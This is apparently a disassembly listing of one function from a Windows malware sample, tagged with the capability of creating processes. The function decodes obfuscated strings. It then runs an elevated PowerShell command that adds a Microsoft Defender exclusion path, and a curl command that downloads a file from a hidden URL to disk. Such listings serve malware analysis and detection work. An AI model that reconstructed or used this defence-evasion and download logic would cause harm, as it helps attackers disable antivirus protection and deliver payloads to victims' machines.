Function at 0x140001660
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rbp + 0x58], rax
xor r12d, r12d
lea rdx, [0x14001eca0]
lea rcx, [rbp + 0x38]
call fcn.140002130
lea rax, [rbp + 0x38]
mov r9, qword [rbp + 0x38]
mov r10, qword [rbp + 0x50]
cmp r10, 0xf
cmova rax, r9
lea rdx, [rbp + 0x38]
cmova rdx, r9
mov r8, qword [rbp + 0x48]
add r8, rdx
mov edx, r12d
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r12
test rcx, rcx
je 0x14000173b
cmp rcx, 0x40
jb 0x14000173b
and rcx, 0xffffffffffffffc0
movdqa xmm1, xmmword [str.2222222222222222_]
nop
movdqu xmm0, xmmword [rax]
psubb xmm0, xmm1
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x1400016f0
mov r10, qword [rbp + 0x50]
mov r9, qword [rbp + 0x38]
cmp rax, r8
je 0x140001753
add byte [rax], 0xce
inc rax
cmp rax, r8
jne 0x140001740
mov r10, qword [rbp + 0x50]
mov r9, qword [rbp + 0x38]
mov r14, qword [rbp + 0x48]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, r14
cmp rax, 0x39
jb 0x140001f0e
lea r15, [rbp + 0x38]
cmp r10, 0xf
cmova r15, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rsi, [r14 + 0x39]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp rsi, rbx
jbe 0x14000181b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x1400017e1
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.140002590
test rax, rax
je 0x140001f1a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001816
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400017f6
mov rdi, r12
jmp 0x140001816
cmp rcx, 0x1000
jb 0x14000180e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f02
jmp 0x1400017c2
call fcn.140002590
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
movups xmm0, xmmword [str._c_powershell__Command__Add_MpPreference__ExclusionPath_]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140019b20]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x140019b30]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x140019b40]
movsd qword [rdi + 0x30], xmm0
movzx eax, byte [0x140019b48]
mov byte [rdi + 0x38], al
lea rcx, [rdi + 0x39]
mov r8, r14
mov rdx, r15
call fcn.140010c30
mov byte [rdi + rsi], 0
mov r8d, 2
lea rdx, [0x140019b08]
lea rcx, [rsp + 0x70]
call fcn.140002250
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r9, qword [rsp + 0x30]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001923
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000191e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f14
call fcn.140002814
movdqa xmm0, xmmword [0x140019b80]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001972
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000196d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f1a
call fcn.140002814
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001ece0]
lea rcx, [rbp + 0x18]
call fcn.140002130
lea r8, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r8, qword [rbp + 0x18]
lea rcx, [rbp + 0x18]
cmova rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x28]
add rdx, rcx
mov rcx, r12
mov rax, rdx
sub rax, r8
cmp r8, rdx
cmova rax, r12
test rax, rax
je 0x140001a1d
cmp rax, 0x40
jb 0x140001a1d
and rax, 0xffffffffffffffc0
movdqa xmm1, xmmword [str.2222222222222222_]
movdqu xmm0, xmmword [r8]
psubb xmm0, xmm1
movdqu xmmword [r8], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmm0, xmmword [r8 + 0x30]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rcx, 0x40
cmp rcx, rax
jne 0x1400019d2
cmp r8, rdx
je 0x140001a2e
add byte [r8], 0xce
inc r8
cmp r8, rdx
jne 0x140001a22
lea rdx, [0x14001ecc0]
lea rcx, [rbp - 8]
call fcn.140002130
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova r8, qword [rbp - 8]
lea rcx, [rbp - 8]
cmova rcx, qword [rbp - 8]
mov rdx, qword [rbp + 8]
add rdx, rcx
mov rcx, r12
mov rax, rdx
sub rax, r8
cmp r8, rdx
cmova rax, r12
test rax, rax
je 0x140001adb
cmp rax, 0x40
jb 0x140001adb
and rax, 0xffffffffffffffc0
movdqa xmm1, xmmword [str.2222222222222222_]
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [r8]
psubb xmm0, xmm1
movdqu xmmword [r8], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmm0, xmmword [r8 + 0x30]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rcx, 0x40
cmp rcx, rax
jne 0x140001a90
cmp r8, rdx
je 0x140001aec
add byte [r8], 0xce
inc r8
cmp r8, rdx
jne 0x140001ae0
mov rsi, qword [rbp + 0x28]
mov rax, r13
sub rax, rsi
cmp rax, 0xc
jb 0x140001f20
lea r15, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r15, qword [rbp + 0x18]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea r14, [rsi + 0xc]
mov ebx, 0xf
lea rdi, [rbp - 0x30]
cmp r14, rbx
jbe 0x140001baa
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x140001b6b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002590
test rax, rax
je 0x140001f38
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001ba6
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001b86
mov rdi, r12
jmp 0x140001ba6
cmp rcx, 0x1000
jb 0x140001b9e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f08
jmp 0x140001b4c
call fcn.140002590
mov rdi, rax
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
movsd xmm0, qword [str._c_curl__L__]
movsd qword [rdi], xmm0
mov ecx, dword [0x140019b78]
mov dword [rdi + 8], ecx
lea rcx, [rdi + 0xc]
mov r8, rsi
mov rdx, r15
call fcn.140010c30
mov byte [rdi + r14], 0
mov r8d, 6
lea rdx, str.___o__
lea rcx, [rbp - 0x30]
call fcn.140002250
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdx, qword [rbp - 8]
mov r8, qword [rbp + 8]
lea rcx, [rbp - 0x50]
call fcn.140002250
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r12
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140019b60]
lea rcx, [rbp - 0x70]
call fcn.140002250
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r9, qword [rsp + 0x50]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001d1b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f26
call fcn.140002814
movdqa xmm0, xmmword [0x140019b80]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001d71
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f2c
call fcn.140002814
movdqa xmm0, xmmword [0x140019b80]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001dbd
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001db0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f32
call fcn.140002814
movdqa xmm0, xmmword [0x140019b80]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140001e02
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f38
call fcn.140002814
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140001e3d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f3e
call fcn.140002814
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140001e88
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f44
call fcn.140002814
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140001ecf
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001eca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001efc
call fcn.140002814
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140002570
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000810c
nop
call fcn.1400015a0
nop
call fcn.1400015a0
nop
call fcn.140001640
nop
call fcn.14000810c
nop
call fcn.14000810c
nop
call fcn.140001640
nop
call fcn.14000810c
nop
call fcn.14000810c
nop
call fcn.14000810c
nop
call fcn.14000810c
nop
call fcn.14000810c
nop
call fcn.14000810c
int3